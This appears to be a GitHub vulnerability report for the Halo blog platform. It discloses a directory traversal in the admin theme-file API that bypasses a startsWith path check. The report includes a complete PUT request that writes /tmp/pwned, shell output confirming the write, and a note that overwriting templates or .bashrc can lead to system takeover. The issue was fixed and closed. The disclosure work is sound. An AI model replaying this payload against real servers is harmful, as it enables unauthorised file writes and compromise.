New issue

Jump to bottom

An Arbitrary file writing vulnerability in the backend #421

Closed 5 tasks done **any-how** opened this issue on Dec 11, 2019 · 0 comments

Assignees

Labels kind/bug resolved **vulnerability**

any-how commented on Dec 11, 2019

I am sure I have checked

- [x] Halo User Guide Documentation
- [x] Halo BBS
- [x] Github Wiki
- [x] Other Issues

I want to apply

- [x] BUG feedback

An interface to write files in the background, a directory traversal check is performed on the input path parameter, but the startsWith function can be used to bypass it.

```
PUT /api/admin/themes/caicai_anatole/files/content HTTP/1.1
Host: xxxx:8090
Content-Length: 105
Admin-Authorization: 19cfedbb4994443c8b3f7eebf9ef36b3
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://xxx:8090
Referer: http://xxxx:8090/admin/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"path":"/root/.halo/templates/themes/anatole/../../../../../../tmp/pwned","content":"xxxxx\nxxxttt\nbb"}
```

```
root@qingye:~/.halo# ls -al /tmp/pwned
-rw-r--r-- 1 root root 15 Dec 10 18:24 /tmp/pwned
root@qingye:~/.halo#
```

Therefore, the attacker can overwrite some files, such as ftl files, .bashrc files in the user directory, and finally get the permissions of the operating system

JohnNiang referenced this issue on Dec 12, 2019

`Fix directory traversal vulnerability` d59877a

JohnNiang added kind/bug resolved **vulnerability** labels on Dec 12, 2019

JohnNiang self-assigned this on Dec 12, 2019

JohnNiang closed this as completed on Dec 12, 2019

Assignees

JohnNiang

Labels

kind/bug resolved **vulnerability**

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants